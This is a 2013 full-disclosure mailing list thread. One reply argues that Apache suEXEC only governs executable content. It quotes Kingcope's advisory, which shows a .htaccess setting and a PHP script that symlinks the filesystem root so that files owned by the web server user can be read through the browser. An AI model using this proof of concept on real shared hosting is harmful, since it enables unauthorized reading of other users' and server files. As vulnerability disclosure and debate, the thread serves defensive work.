full-disclosure - Re: Apache suEXEC privilege elevation / information disclosure

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Date: Fri, 09 Aug 2013 18:48:54 +1000
From: Noel Butler <noel.butler@...ics.net>
To: full-disclosure@...ts.grok.org.uk
Subject: Re: Apache suEXEC privilege elevation /
 information disclosure

suEXEC changes the ID for _executable_ content only. 

This is not executable content, it's content owned and readable by
www-data that is symlinked into a web-accessible directory..

As for symlinks, others have covered the AllowOveride function so I wont
repeat it.


On Fri, 2013-08-09 at 14:29 +0700, Kingcope wrote:

> So what your Emails Tell me is better ignore this vulnerability. I dont Claim its a High severity Bug but if you Tell People to ignore it Because it isnt a vulnerability you are very much aiding the Chaos of insecurity in the Internet today. You Maybe have a Secure Setting but theres only you on the Planet. Attackers Look specifically for such Bugs to Open Servers. No Wonder we have compromises in a High Scale every Day due to this ignorance. My rant on that One.
> 




> Am 07.08.2013 um 21:49 schrieb king cope <isowarez.isowarez.isowarez@...glemail.com>:
> 
> > Apache suEXEC privilege elevation / information disclosure
> > 
> > Discovered by Kingcope/Aug 2013
> > 
> > The suEXEC feature provides Apache users the ability to run CGI and SSI programs
> > under user IDs different from the user ID of the calling web server. Normally,
> > when a CGI or SSI program executes, it runs as the same user who is running the
> > web server.
> > Used properly, this feature can reduce considerably the security risks involved
> > with allowing users to develop and run private CGI or SSI programs.
> > 
> > With this bug an attacker who is able to run php or cgi code inside a web
> > hosting environment and the environment is configured to use suEXEC as a
> > protection mechanism, he/she is able to read any file and directory on the file-
> > system of the UNIX/Linux system with the user and group id of the
> > apache web server.
> > 
> > Normally php and cgi scripts are not allowed to read files with the apache user-
> > id inside a suEXEC configured environment.
> > 
> > Take for example this apache owned file and the php script that follows.
> > 
> > $ ls -la /etc/testapache
> > -rw------- 1 www-data www-data 36 Aug  7 16:28 /etc/testapache
> > only user www-data should be able to read this file.
> > 
> > $ cat test.php
> > <?php
> >        system("id; cat /etc/testapache");
> > ?>
> > 
> > When calling the php file using a webbrowser it will show...
> > uid=1002(example) gid=1002(example) groups=1002(example)
> > 
> > because the php script is run trough suEXEC.
> > The script will not output the file requested because of a permissions error.
> > 
> > Now if we create a .htaccess file with the content...
> > Options Indexes FollowSymLinks
> > 
> > and a php script with the content...
> > 
> > <?php
> >        system("ln -sf / test99.php");
> >        symlink("/", "test99.php"); // try builtin function in case when
> >                                    //system() is blocked
> > ?>
> > in the same folder
> > 
> > ..we can access the root filesystem with the apache uid,gid by
> > requesting test99.php.
> > The above php script will simply create a symbolic link to '/'.
> > 
> > A request to test99.php/etc/testapache done with a web browser shows..
> > voila! read with the apache uid/gid
> > 
> > The reason we can now read out any files and traverse directories owned by the
> > apache user is because apache httpd displays symlinks and directory listings
> > without querying suEXEC.
> > It is not possible to write to files in this case.
> > 
> > Version notes. Assumed is that all Apache versions are affected by this bug.
> > 
> > apache2 -V
> > Server version: Apache/2.2.22 (Debian)
> > Server built:   Mar  4 2013 21:32:32
> > Server's Module Magic Number: 20051115:30
> > Server loaded:  APR 1.4.6, APR-Util 1.4.1
> > Compiled using: APR 1.4.6, APR-Util 1.4.1
> > Architecture:   32-bit
> > Server MPM:     Worker
> >  threaded:     yes (fixed thread count)
> >    forked:     yes (variable process count)
> > Server compiled with....
> > -D APACHE_MPM_DIR="server/mpm/worker"
> > -D APR_HAS_SENDFILE
> > -D APR_HAS_MMAP
> > -D APR_HAVE_IPV6 (IPv4-mapped addresses enabled)
> > -D APR_USE_SYSVSEM_SERIALIZE
> > -D APR_USE_PTHREAD_SERIALIZE
> > -D APR_HAS_OTHER_CHILD
> > -D AP_HAVE_RELIABLE_PIPED_LOGS
> > -D DYNAMIC_MODULE_LIMIT=128
> > -D HTTPD_ROOT="/etc/apache2"
> > -D SUEXEC_BIN="/usr/lib/apache2/suexec"
> > -D DEFAULT_PIDLOG="/var/run/apache2.pid"
> > -D DEFAULT_SCOREBOARD="logs/apache_runtime_status"
> > -D DEFAULT_ERRORLOG="logs/error_log"
> > -D AP_TYPES_CONFIG_FILE="mime.types"
> > -D SERVER_CONFIG_FILE="apache2.conf"
> > 
> > Cheers,
> > /Kingcope
> 
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Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
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